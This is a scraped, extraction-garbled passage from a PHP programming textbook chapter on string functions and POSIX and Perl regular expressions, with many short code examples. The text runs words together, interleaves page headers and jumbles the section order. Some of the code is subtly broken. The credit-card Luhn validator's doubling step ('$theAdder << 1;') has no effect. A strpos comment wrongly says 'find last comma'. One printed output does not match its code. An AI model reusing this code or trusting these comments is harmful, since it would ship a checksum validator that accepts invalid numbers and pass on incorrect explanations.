$known = "Fred";$query = "Phred";if (soundex($known) == soundex($query)) { print "soundex: $known sounds $query<br>";} else { print "soundex: $known doesn't sound like $query<br>";}if (metaphone($known) == metaphone($query)) { print "metaphone: $known sounds $query<br>";} else { print "metaphone: $known doesn't sound like $query<br>";}soundex: Fred doesn't sound like Phredmetaphone: Fred sounds like Phred

The similar_text( ) function returns the number of characters that its two stringarguments have in common. The third argument, if present, is a variable in which tostore the commonality as a percentage:

$string_1 = "Rasmus Lerdorf";$string_2 = "Razmus Lehrdorf";$common = similar_text($string_1, $string_2, $percent);printf("They have %d chars in common (%.2f%%).", $common, $percent);They have 13 chars in common (89.66%).

Table 4-5. Natural order versus ASCII order

Natural order ASCII order

pic1.jpg pic1.jpg

pic5.jpg pic10.jpg

pig10.jpg pic5.jpg

pic50.jpg pic50.jpg

,ch04.15552 Page 88 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (89)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Manipulating and Searching Strings | 89

The Levenshtein algorithm calculates the similarity of two strings based on howmany characters you must add, substitute, or remove to make them the same. Forinstance, "cat" and "cot" have a Levenshtein distance of 1, because you need tochange only one character (the "a" to an "o") to make them the same:

$similarity = levenshtein("cat", "cot"); // $similarity is 1

This measure of similarity is generally quicker to calculate than that used by thesimilar_text( ) function. Optionally, you can pass three values to the levenshtein( )function to individually weight insertions, deletions, and replacements—for instance,to compare a word against a contraction.

This example excessively weights insertions when comparing a string against its pos-sible contraction, because contractions should never insert characters:

echo levenshtein('would not', 'wouldn\'t', 500, 1, 1);

Manipulating and Searching StringsPHP has many functions to work with strings. The most commonly used functionsfor searching and modifying strings are those that use regular expressions to describethe string in question. The functions described in this section do not use regularexpressions—they are faster than regular expressions, but they work only whenyou’re looking for a fixed string (for instance, if you’re looking for "12/11/01" ratherthan “any numbers separated by slashes”).

SubstringsIf you know where in a larger string the interesting data lies, you can copy it out withthe substr( ) function:

$piece = substr(string, start [, length ]);

The start argument is the position in string at which to begin copying, with 0meaning the start of the string. The length argument is the number of characters tocopy (the default is to copy until the end of the string). For example:

$name = "Fred Flintstone";$fluff = substr($name, 6, 4); // $fluff is "lint"$sound = substr($name, 11); // $sound is "tone"

To learn how many times a smaller string occurs in a larger one, use substr_count( ):

$number = substr_count(big_string, small_string);

For example:

$sketch = <<< End_of_SketchWell, there's egg and bacon; egg sausage and bacon; egg and spam;egg bacon and spam; egg bacon sausage and spam; spam bacon sausage

,ch04.15552 Page 89 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (90)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

90 | Chapter 4: Strings

and spam; spam egg spam spam bacon and spam; spam sausage spam spambacon spam tomato and spam;End_of_Sketch;$count = substr_count($sketch, "spam");print("The word spam occurs $count times.");The word spam occurs 14 times.

The substr_replace( ) function permits many kinds of string modifications:

$string = substr_replace(original, new, start [, length ]);

The function replaces the part of original indicated by the start (0 means the startof the string) and length values with the string new. If no fourth argument is given,substr_replace( ) removes the text from start to the end of the string.

For instance:

$greeting = "good morning citizen";$farewell = substr_replace($greeting, "bye", 5, 7);// $farewell is "good bye citizen"

Use a length value of 0 to insert without deleting:

$farewell = substr_replace($farewell, "kind ", 9, 0);// $farewell is "good bye kind citizen"

Use a replacement of "" to delete without inserting:

$farewell = substr_replace($farewell, "", 8);// $farewell is "good bye"

Here’s how you can insert at the beginning of the string:

$farewell = substr_replace($farewell, "now it's time to say ", 0, 0);// $farewell is "now it's time to say good bye"'

A negative value for start indicates the number of characters from the end of thestring from which to start the replacement:

$farewell = substr_replace($farewell, "riddance", -3);// $farewell is "now it's time to say good riddance"

A negative length indicates the number of characters from the end of the string atwhich to stop deleting:

$farewell = substr_replace($farewell, "", -8, -5);// $farewell is "now it's time to say good dance"

Miscellaneous String FunctionsThe strrev( ) function takes a string and returns a reversed copy of it:

$string = strrev(string);

For example:

echo strrev("There is no cabal");labac on si erehT

,ch04.15552 Page 90 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (91)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Manipulating and Searching Strings | 91

The str_repeat( ) function takes a string and a count and returns a new string con-sisting of the argument string repeated count times:

$repeated = str_repeat(string, count);

For example, to build a crude horizontal rule:

echo str_repeat('-', 40);

The str_pad( ) function pads one string with another. Optionally, you can say whatstring to pad with, and whether to pad on the left, right, or both:

$padded = str_pad(to_pad, length [, with [, pad_type ]]);

The default is to pad on the right with spaces:

$string = str_pad('Fred Flintstone', 30);echo "$string:35:Wilma";Fred Flintstone :35:Wilma

The optional third argument is the string to pad with:

$string = str_pad('Fred Flintstone', 30, '. ');echo "{$string}35";Fred Flintstone. . . . . . . .35

The optional fourth argument can be either STR_PAD_RIGHT (the default), STR_PAD_LEFT, or STR_PAD_BOTH (to center). For example:

echo '[' . str_pad('Fred Flintstone', 30, ' ', STR_PAD_LEFT) . "]\n";echo '[' . str_pad('Fred Flintstone', 30, ' ', STR_PAD_BOTH) . "]\n";[ Fred Flintstone][ Fred Flintstone ]

Decomposing a StringPHP provides several functions to let you break a string into smaller components. Inincreasing order of complexity, they are explode( ), strtok( ), and sscanf( ).

Exploding and imploding

Data often arrives as strings, which must be broken down into an array of values. Forinstance, you might want to separate out the comma-separated fields from a stringsuch as "Fred,25,Wilma". In these situations, use the explode( ) function:

$array = explode(separator, string [, limit]);

The first argument, separator, is a string containing the field separator. The secondargument, string, is the string to split. The optional third argument, limit, is themaximum number of values to return in the array. If the limit is reached, the last ele-ment of the array contains the remainder of the string:

$input = 'Fred,25,Wilma';$fields = explode(',', $input);// $fields is array('Fred', '25', 'Wilma')

,ch04.15552 Page 91 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (92)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

92 | Chapter 4: Strings

$fields = explode(',', $input, 2);// $fields is array('Fred', '25,Wilma')

The implode( ) function does the exact opposite of explode( )—it creates a largestring from an array of smaller strings:

$string = implode(separator, array);

The first argument, separator, is the string to put between the elements of the sec-ond argument, array. To reconstruct the simple comma-separated value string, sim-ply say:

$fields = array('Fred', '25', 'Wilma');$string = implode(',', $fields); // $string is 'Fred,25,Wilma'

The join( ) function is an alias for implode( ).

Tokenizing

The strtok( ) function lets you iterate through a string, getting a new chunk (token)each time. The first time you call it, you need to pass two arguments: the string toiterate over and the token separator:

$first_chunk = strtok(string, separator);

To retrieve the rest of the tokens, repeatedly call strtok( ) with only the separator:

$next_chunk = strtok(separator);

For instance, consider this invocation:

$string = "Fred,Flintstone,35,Wilma";$token = strtok($string, ",");while ($token !== false) { echo("$token<br>"); $token = strtok(",");}FredFlintstone35Wilma

The strtok( ) function returns false when there are no more tokens to be returned.

Call strtok( ) with two arguments to reinitialize the iterator. This restarts the token-izer from the start of the string.

sscanf( )

The sscanf( ) function decomposes a string according to a printf( )-like template:

$array = sscanf(string, template);$count = sscanf(string, template, var1, ... );

If used without the optional variables, sscanf( ) returns an array of fields:

$string = "Fred\tFlintstone (35)";$a = sscanf($string, "%s\t%s (%d)");

,ch04.15552 Page 92 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (93)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Manipulating and Searching Strings | 93

print_r($a);Array( [0] => Fred [1] => Flintstone [2] => 35)

Pass references to variables to have the fields stored in those variables. The numberof fields assigned is returned:

$string = "Fred\tFlintstone (35)";$n = sscanf($string, "%s\t%s (%d)", &$first, &$last, &$age);echo "Matched n fields: $first $last is $age years old";Fred Flintstone is 35 years old

String-Searching FunctionsSeveral functions find a string or character within a larger string. They come in threefamilies: strpos( ) and strrpos( ), which return a position; strstr( ), strchr( ), andfriends, which return the string they find; and strspn( ) and strcspn( ), which returnhow much of the start of the string matches a mask.

In all cases, if you specify a number as the “string” to search for, PHP treats thatnumber as the ordinal value of the character to search for. Thus, these function callsare identical because 44 is the ASCII value of the comma:

$pos = strpos($large, ","); // find last comma$pos = strpos($large, 44); // find last comma

All the string-searching functions return false if they can’t find the substring youspecified. If the substring occurs at the start of the string, the functions return 0.Because false casts to the number 0, always compare the return value with === whentesting for failure:

if ($pos === false) { // wasn't found} else { // was found, $pos is offset into string}

Searches returning position

The strpos( ) function finds the first occurrence of a small string in a larger string:

$position = strpos(large_string, small_string);

If the small string isn’t found, strpos( ) returns false.

The strrpos( ) function finds the last occurrence of a character in a string. It takesthe same arguments and returns the same type of value as strpos( ).

For instance:

$record = "Fred,Flintstone,35,Wilma";$pos = strrpos($record, ","); // find last comma

,ch04.15552 Page 93 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (94)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

94 | Chapter 4: Strings

echo("The last comma in the record is at position $pos");The last comma in the record is at position 18

If you pass a string as the second argument to strrpos( ), only the first character issearched for. To find the last occurrence of a multicharacter string, reverse thestrings and use strpos( ):

$long = "Today is the day we go on holiday to Florida";$to_find = "day";$pos = strpos(strrev ($long), strrev($to_find));if ($pos === false) { echo("Not found");} else { // $pos is offset into reversed strings // Convert to offset into regular strings $pos = strlen($long) - $pos - strlen($to_find);; echo("Last occurrence starts at position $pos");}Last occurrence starts at position 30

Searches returning rest of string

The strstr( ) function finds the first occurrence of a small string in a larger stringand returns from that small string on. For instance:

$record = "Fred,Flintstone,35,Wilma";$rest = strstr($record, ","); // $rest is ",Flintstone,35,Wilma"

The variations on strstr( ) are:

stristr( )Case-insensitive strstr( )

strchr( )Alias for strstr( )

strrchr( )Find last occurrence of a character in a string

As with strrpos( ), strrchr( ) searches backward in the string, but only for a charac-ter, not for an entire string.

Searches using masks

If you thought strrchr( ) was esoteric, you haven’t seen anything yet. The strspn( )and strcspn( ) functions tell you how many characters at the beginning of a stringare comprised of certain characters:

$length = strspn(string, charset);

For example, this function tests whether a string holds an octal number:

function is_octal ($str) { return strspn($str, '01234567') == strlen($str);}

,ch04.15552 Page 94 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (95)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Regular Expressions | 95

The c in strcspn( ) stands for complement—it tells you how much of the start of thestring is not composed of the characters in the character set. Use it when the number ofinteresting characters is greater than the number of uninteresting characters. For exam-ple, this function tests whether a string has any NUL-bytes, tabs, or carriage returns:

function has_bad_chars ($str) { return strcspn($str, "\n\t\0");}

Decomposing URLs

The parse_url( ) function returns an array of components of a URL:

$array = parse_url(url);

For example:

$bits = parse_url('http://me:[emailprotected]/cgi-bin/board?user=fred);print_r($bits);Array( [scheme] => http [host] => example.com [user] => me [pass] => secret [path] => /cgi-bin/board [query] => user=fred)

The possible keys of the hash are scheme, host, port, user, pass, path, query, andfragment.

Regular ExpressionsIf you need more complex searching functionality than the previous methods pro-vide, you can use regular expressions. A regular expression is a string that representsa pattern. The regular expression functions compare that pattern to another stringand see if any of the string matches the pattern. Some functions tell you whetherthere was a match, while others make changes to the string.

PHP provides support for two different types of regular expressions: POSIX and Perl-compatible. POSIX regular expressions are less powerful, and sometimes slower,than the Perl-compatible functions, but can be easier to read. There are three uses forregular expressions: matching, which can also be used to extract information from astring; substituting new text for matching text; and splitting a string into an array ofsmaller chunks. PHP has functions for all three behaviors for both Perl and POSIXregular expressions. For instance, ereg( ) does a POSIX match, while preg_match( )does a Perl match. Fortunately, there are a number of similarities between basicPOSIX and Perl regular expressions, so we’ll cover those before delving into thedetails of each library.

,ch04.15552 Page 95 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (96)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

96 | Chapter 4: Strings

The BasicsMost characters in a regular expression are literal characters, meaning that theymatch only themselves. For instance, if you search for the regular expression "cow" inthe string "Dave was a cowhand", you get a match because "cow" occurs in that string.

Some characters, though, have special meanings in regular expressions. For instance,a caret (^) at the beginning of a regular expression indicates that it must match thebeginning of the string (or, more precisely, anchors the regular expression to thebeginning of the string):

ereg('^cow', 'Dave was a cowhand'); // returns falseereg('^cow', 'cowabunga!'); // returns true

Similarly, a dollar sign ($) at the end of a regular expression means that it mustmatch the end of the string (i.e., anchors the regular expression to the end of thestring):

ereg('cow$', 'Dave was a cowhand'); // returns falseereg('cow$', "Don't have a cow"); // returns true

A period (.) in a regular expression matches any single character:

ereg('c.t', 'cat'); // returns trueereg('c.t', 'cut'); // returns trueereg('c.t', 'c t'); // returns trueereg('c.t', 'bat'); // returns falseereg('c.t', 'ct'); // returns false

If you want to match one of these special characters (called a metacharacter), youhave to escape it with a backslash:

ereg('\$5\.00', 'Your bill is $5.00 exactly'); // returns trueereg('$5.00', 'Your bill is $5.00 exactly'); // returns false

Regular expressions are case-sensitive by default, so the regular expression "cow"doesn’t match the string "COW". If you want to perform a case-insensitive POSIX-stylematch, you can use the eregi( ) function. With Perl-style regular expressions, youstill use preg_match( ), but specify a flag to indicate a case-insensitive match (as you’llsee when we discuss Perl-style regular expressions in detail later in this chapter).

So far, we haven’t done anything we couldn’t have done with the string functionswe’ve already seen, like strstr( ). The real power of regular expressions comesfrom their ability to specify abstract patterns that can match many different charac-ter sequences. You can specify three basic types of abstract patterns in a regularexpression:

• A set of acceptable characters that can appear in the string (e.g., alphabetic char-acters, numeric characters, specific punctuation characters)

• A set of alternatives for the string (e.g., "com", "edu", "net", or "org")

• A repeating sequence in the string (e.g., at least one but no more than fivenumeric characters)

,ch04.15552 Page 96 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (97)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Regular Expressions | 97

These three kinds of patterns can be combined in countless ways, to create regularexpressions that match such things as valid phone numbers and URLs.

Character ClassesTo specify a set of acceptable characters in your pattern, you can either build a char-acter class yourself or use a predefined one. You can build your own character classby enclosing the acceptable characters in square brackets:

ereg('c[aeiou]t', 'I cut my hand'); // returns trueereg('c[aeiou]t', 'This crusty cat'); // returns trueereg('c[aeiou]t', 'What cart?'); // returns falseereg('c[aeiou]t', '14ct gold'); // returns false

The regular expression engine finds a "c", then checks that the next character is oneof "a", "e", "i", "o", or "u". If it isn’t a vowel, the match fails and the engine goesback to looking for another "c". If a vowel is found, though, the engine then checksthat the next character is a "t". If it is, the engine is at the end of the match and soreturns true. If the next character isn’t a "t", the engine goes back to looking foranother "c".

You can negate a character class with a caret (^) at the start:

ereg('c[^aeiou]t', 'I cut my hand'); // returns falseereg('c[^aeiou]t', 'Reboot chthon'); // returns trueereg('c[^aeiou]t', '14ct gold'); // returns false

In this case, the regular expression engine is looking for a "c", followed by a charac-ter that isn’t a vowel, followed by a "t".

You can define a range of characters with a hyphen (-). This simplifies characterclasses like “all letters” and “all digits”:

ereg('[0-9]%', 'we are 25% complete'); // returns trueereg('[0123456789]%', 'we are 25% complete'); // returns trueereg('[a-z]t', '11th'); // returns falseereg('[a-z]t', 'cat'); // returns trueereg('[a-z]t', 'PIT'); // returns falseereg('[a-zA-Z]!', '11!'); // returns falseereg('[a-zA-Z]!', 'stop!'); // returns true

When you are specifying a character class, some special characters lose their mean-ing, while others take on new meaning. In particular, the $ anchor and the periodlose their meaning in a character class, while the ^ character is no longer an anchorbut negates the character class if it is the first character after the open bracket. Forinstance, [^\]] matches any character that is not a closing bracket, while [$.^]matches any dollar sign, period, or caret.

The various regular expression libraries define shortcuts for character classes, includ-ing digits, alphabetic characters, and whitespace. The actual syntax for these short-cuts differs between POSIX-style and Perl-style regular expressions. For instance, withPOSIX, the whitespace character class is "[[:space:]]", while with Perl it is "\s".

,ch04.15552 Page 97 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (98)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

98 | Chapter 4: Strings

AlternativesYou can use the vertical pipe (|) character to specify alternatives in a regularexpression:

ereg('cat|dog', 'the cat rubbed my legs'); // returns trueereg('cat|dog', 'the dog rubbed my legs'); // returns trueereg('cat|dog', 'the rabbit rubbed my legs'); // returns false

The precedence of alternation can be a surprise: '^cat|dog$' selects from '^cat' and'dog$', meaning that it matches a line that either starts with "cat" or ends with"dog". If you want a line that contains just "cat" or "dog", you need to use the regu-lar expression '^(cat|dog)$'.

You can combine character classes and alternation to, for example, check for stringsthat don’t start with a capital letter:

ereg('^([a-z]|[0-9])', 'The quick brown fox'); // returns falseereg('^([a-z]|[0-9])', 'jumped over'); // returns trueereg('^([a-z]|[0-9])', '10 lazy dogs'); // returns true

Repeating SequencesTo specify a repeating pattern, you use something called a quantifier. The quantifiergoes after the pattern that’s repeated and says how many times to repeat that pat-tern. Table 4-6 shows the quantifiers that are supported by both POSIX and Perl reg-ular expressions.

To repeat a single character, simply put the quantifier after the character:

ereg('ca+t', 'caaaaaaat'); // returns trueereg('ca+t', 'ct'); // returns falseereg('ca?t', 'caaaaaaat'); // returns falseereg('ca*t', 'ct'); // returns true

With quantifiers and character classes, we can actually do something useful, likematching valid U.S. telephone numbers:

ereg('[0-9]{3}-[0-9]{3}-[0-9]{4}', '303-555-1212'); // returns trueereg('[0-9]{3}-[0-9]{3}-[0-9]{4}', '64-9-555-1234'); // returns false

Table 4-6. Regular expression quantifiers

Quantifier Meaning

? 0 or 1

* 0 or more

+ 1 or more

{n} Exactly n times

{n,m} At least n, no more than m times

{n,} At least n times

,ch04.15552 Page 98 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (99)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

POSIX-Style Regular Expressions | 99

SubpatternsYou can use parentheses to group bits of a regular expression together to be treatedas a single unit called a subpattern:

ereg('a (very )+big dog', 'it was a very very big dog'); // returns trueereg('^(cat|dog)$', 'cat'); // returns trueereg('^(cat|dog)$', 'dog'); // returns true

The parentheses also cause the substring that matches the subpattern to be cap-tured. If you pass an array as the third argument to a match function, the array ispopulated with any captured substrings:

ereg('([0-9]+)', 'You have 42 magic beans', $captured);// returns true and populates $captured

The zeroth element of the array is set to the entire string being matched against. Thefirst element is the substring that matched the first subpattern (if there is one), thesecond element is the substring that matched the second subpattern, and so on.

POSIX-Style Regular ExpressionsNow that you understand the basics of regular expressions, we can explore thedetails. POSIX-style regular expressions use the Unix locale system. The locale sys-tem provides functions for sorting and identifying characters that let you intelli-gently work with text from languages other than English. In particular, whatconstitutes a “letter” varies from language to language (think of à and ç), and thereare character classes in POSIX regular expressions that take this into account.

However, POSIX regular expressions are designed for use with only textual data. Ifyour data has a NUL-byte (\x00) in it, the regular expression functions will interpretit as the end of the string, and matching will not take place beyond that point. To domatches against arbitrary binary data, you’ll need to use Perl-compatible regularexpressions, which are discussed later in this chapter. Also, as we already men-tioned, the Perl-style regular expression functions are often faster than the equiva-lent POSIX-style ones.

Character ClassesAs shown in Table 4-7, POSIX defines a number of named sets of characters that youcan use in character classes. The expansions given in Table 4-7 are for English. Theactual letters vary from locale to locale.

Table 4-7. POSIX character classes

Class Description Expansion

[:alnum:] Alphanumeric characters [0-9a-zA-Z]

[:alpha:] Alphabetic characters (letters) [a-zA-Z]

,ch04.15552 Page 99 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (100)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

100 | Chapter 4: Strings

Each [:something:] class can be used in place of a character in a character class. Forinstance, to find any character that’s a digit, an uppercase letter, or an at sign (@), usethe following regular expression:

[@[:digit:][:upper:]]

However, you can’t use a character class as the endpoint of a range:

ereg('[A-[:lower:]]', 'string'); // invalid regular expression

Some locales consider certain character sequences as if they were a single character—these are called collating sequences. To match one of these multicharacter sequencesin a character class, enclose it with [. and .]. For example, if your locale has the col-lating sequence ch, you can match s, t, or ch with this character class:

[st[.ch.]]

The final POSIX extension to character classes is the equivalence class, specified byenclosing the character in [= and =]. Equivalence classes match characters that havethe same collating order, as defined in the current locale. For example, a locale maydefine a, á, and ä as having the same sorting precedence. To match any one of them,the equivalence class is [=a=].

AnchorsAn anchor limits a match to a particular location in the string (anchors do not matchactual characters in the target string). Table 4-8 lists the anchors supported byPOSIX regular expressions.

[:ascii:] 7-bit ASCII [\x01-\x7F]

[:blank:] Horizontal whitespace (space, tab) [ \t]

[:cntrl:] Control characters [\x01-\x1F]

[:digit:] Digits [0-9]

[:graph:] Characters that use ink to print (non-space,non-control)

[^\x01-\x20]

[:lower:] Lowercase letter [a-z]

[:print:] Printable character (graph class plus space andtab)

[\t\x20-\xFF]

[:punct:] Any punctuation character, such as the period (.)and the semicolon (;)

[-!"#$%&'( )*+,./:;<=>?@[\\]^_`{|}~]

[:space:] Whitespace (newline, carriage return, tab, space,vertical tab)

[\n\r\t \x0B]

[:upper:] Uppercase letter [A-Z]

[:xdigit:] Hexadecimal digit [0-9a-fA-F]

Table 4-7. POSIX character classes (continued)

Class Description Expansion

,ch04.15552 Page 100 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (101)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

POSIX-Style Regular Expressions | 101

A word boundary is defined as the point between a whitespace character and anidentifier (alphanumeric or underscore) character:

ereg('[[:<:]]gun[[:>:]]', 'the Burgundy exploded'); // returns falseereg('gun', 'the Burgundy exploded'); // returns true

Note that the beginning and end of a string also qualify as word boundaries.

FunctionsThere are three categories of functions for POSIX-style regular expressions: match-ing, replacing, and splitting.

Matching

The ereg( ) function takes a pattern, a string, and an optional array. It populates thearray, if given, and returns true or false depending on whether a match for the pat-tern was found in the string:

$found = ereg(pattern, string [, captured ]);

For example:

ereg('y.*e$', 'Sylvie'); // returns trueereg('y(.*)e$', 'Sylvie', $a); // returns true, $a is array('Sylvie', 'lvi')

The zeroth element of the array is set to the entire string being matched against. Thefirst element is the substring that matched the first subpattern, the second element isthe substring that matched the second subpattern, and so on.

The eregi( ) function is a case-insensitive form of ereg( ). Its arguments and returnvalues are the same as those for ereg( ).

Example 4-1 uses pattern matching to determine whether a credit-card numberpasses the Luhn checksum and whether the digits are appropriate for a card of a spe-cific type.

Table 4-8. POSIX anchors

Anchor Matches

^ Start of string

$ End of string

[[:<:]] Start of word

[[:>:]] End of word

Example 4-1. Credit-card validator

// The Luhn checksum determines whether a credit-card number is syntactically// correct; it cannot, however, tell if a card with the number has been issued,// is currently active, or has enough space left to accept a charge.

,ch04.15552 Page 101 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (102)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

102 | Chapter 4: Strings

function IsValidCreditCard($inCardNumber, $inCardType) { // Assume it's okay $isValid = true;

// Strip all non-numbers from the string $inCardNumber = ereg_replace('[^[:digit:]]','', $inCardNumber);

// Make sure the card number and type match switch($inCardType) { case 'mastercard': $isValid = ereg('^5[1-5].{14}$', $inCardNumber); break;

case 'visa': $isValid = ereg('^4.{15}$|^4.{12}$', $inCardNumber); break;

case 'amex': $isValid = ereg('^3[47].{13}$', $inCardNumber); break;

case 'discover': $isValid = ereg('^6011.{12}$', $inCardNumber); break;

case 'diners': $isValid = ereg('^30[0-5].{11}$|^3[68].{12}$', $inCardNumber); break;

case 'jcb': $isValid = ereg('^3.{15}$|^2131|1800.{11}$', $inCardNumber); break; }

// It passed the rudimentary test; let's check it against the Luhn this time if($isValid) { // Work in reverse $inCardNumber = strrev($inCardNumber);

// Total the digits in the number, doubling those in odd-numbered positions $theTotal = 0; for ($i = 0; $i < strlen($inCardNumber); $i++) { $theAdder = (int) $inCardNumber{$i};

// Double the numbers in odd-numbered positions if($i % 2) { $theAdder << 1; if($theAdder > 9) { $theAdder -= 9; } }

$theTotal += $theAdder; }

Example 4-1. Credit-card validator (continued)

,ch04.15552 Page 102 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (103)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 103

Replacing

The ereg_replace( ) function takes a pattern, a replacement string, and a string inwhich to search. It returns a copy of the search string, with text that matched thepattern replaced with the replacement string:

$changed = ereg_replace(pattern, replacement, string);

If the pattern has any grouped subpatterns, the matches are accessible by putting thecharacters \1 through \9 in the replacement string. For example, we can use ereg_replace( ) to replace characters wrapped with [b] and [/b] tags with equivalentHTML tags:

$string = 'It is [b]not[/b] a matter of diplomacy.';echo ereg_replace ('\[b]([^]]*)\[/b]', '<b>\1</b>', $string);It is <b>not</b> a matter of diplomacy.

The eregi_replace( ) function is a case-insensitive form of ereg_replace( ). Its argu-ments and return values are the same as those for ereg_replace( ).

Splitting

The split( ) function uses a regular expression to divide a string into smallerchunks, which are returned as an array. If an error occurs, split( ) returns false.Optionally, you can say how many chunks to return:

$chunks = split(pattern, string [, limit ]);

The pattern matches the text that separates the chunks. For instance, to split out theterms from an arithmetic expression:

$expression = '3*5+i/6-12';$terms = split('[/+*-]', $expression);// $terms is array('3', '5', 'i', '6', '12)

If you specify a limit, the last element of the array holds the rest of the string:

$expression = '3*5+i/6-12';$terms = split('[/+*-]', $expression, 3);// $terms is array('3', '5', 'i'/6-12)

Perl-Compatible Regular ExpressionsPerl has long been considered the benchmark for powerful regular expressions. PHPuses a C library called pcre to provide almost complete support for Perl’s arsenal of

// Valid cards will divide evenly by 10 $isValid = (($theTotal % 10) == 0); }

return $isValid;}

Example 4-1. Credit-card validator (continued)

,ch04.15552 Page 103 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (104)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

104 | Chapter 4: Strings

regular expression features. Perl regular expressions include the POSIX classes andanchors described earlier. A POSIX-style character class in a Perl regular expressionworks and understands non-English characters using the Unix locale system. Perlregular expressions act on arbitrary binary data, so you can safely match with pat-terns or strings that contain the NUL-byte (\x00).

DelimitersPerl-style regular expressions emulate the Perl syntax for patterns, which means thateach pattern must be enclosed in a pair of delimiters. Traditionally, the slash (/)character is used; for example, /pattern/. However, any nonalphanumeric characterother than the backslash character (\) can be used to delimit a Perl-style pattern.This is useful when matching strings containing slashes, such as filenames. Forexample, the following are equivalent:

preg_match('/\/usr\/local\//', '/usr/local/bin/perl'); // returns truepreg_match('#/usr/local/#', '/usr/local/bin/perl'); // returns true

Parentheses (( )), curly braces ({}), square brackets ([]), and angle brackets (<>) canbe used as pattern delimiters:

preg_match('{/usr/local/}', '/usr/local/bin/perl'); // returns true

The later section on “Trailing Options” discusses the single-character modifiers youcan put after the closing delimiter to modify the behavior of the regular expressionengine. A very useful one is x, which makes the regular expression engine stripwhitespace and #-marked comments from the regular expression before matching.These two patterns are the same, but one is much easier to read:

'/([[:alpha:]]+)\s+\1/''/( # start capture [[:alpha:]]+ # a word \s+ # whitespace \1 # the same word again ) # end capture/x'

Match BehaviorWhile Perl’s regular expression syntax includes the POSIX constructs we talkedabout earlier, some pattern components have a different meaning in Perl. In particu-lar, Perl’s regular expressions are optimized for matching against single lines of text(although there are options that change this behavior).

The period (.) matches any character except for a newline (\n). The dollar sign ($)matches at the end of the string or, if the string ends with a newline, just before thatnewline:

preg_match('/is (.*)$/', "the key is in my pants", $captured);// $captured[1] is 'in my pants'

,ch04.15552 Page 104 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (105)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 105

Character ClassesPerl-style regular expressions support the POSIX character classes but also definesome of their own, as shown in Table 4-9.

AnchorsPerl-style regular expressions also support additional anchors, as listed in Table 4-10.

Quantifiers and GreedThe POSIX quantifiers, which Perl also supports, are always greedy. That is, whenfaced with a quantifier, the engine matches as much as it can while still satisfying therest of the pattern. For instance:

preg_match('/(<.*>)/', 'do <b>not</b> press the button', $match);// $match[1] is '<b>not</b>'

The regular expression matches from the first less-than sign to the last greater-thansign. In effect, the .* matches everything after the first less-than sign, and the enginebacktracks to make it match less and less until finally there’s a greater-than sign to bematched.

This greediness can be a problem. Sometimes you need minimal (non-greedy) match-ing—that is, quantifiers that match as few times as possible to satisfy the rest of the

Table 4-9. Perl-style character classes

Character class Meaning Expansion

\s Whitespace [\r\n \t]

\S Non-whitespace [^\r\n \t]

\w Word (identifier) character [0-9A-Za-z_]

\W Non-word (identifier) character [^0-9A-Za-z_]

\d Digit [0-9]

\D Non-digit [^0-9]

Table 4-10. Perl-style anchors

Assertion Meaning

\b Word boundary (between \w and \W or at start or end of string)

\B Non-word boundary (between \w and \w, or \W and \W)

\A Beginning of string

\Z End of string or before \n at end

\z End of string

^ Start of line (or after \n if /m flag is enabled)

$ End of line (or before \n if /m flag is enabled)

,ch04.15552 Page 105 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (106)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

106 | Chapter 4: Strings

pattern. Perl provides a parallel set of quantifiers that match minimally. They’re easyto remember, because they’re the same as the greedy quantifiers, but with a questionmark (?) appended. Table 4-11 shows the corresponding greedy and non-greedyquantifiers supported by Perl-style regular expressions.

Here’s how to match a tag using a non-greedy quantifier:

preg_match('/(<.*?>)/', 'do <b>not</b> press the button', $match);// $match[1] is '<b>'

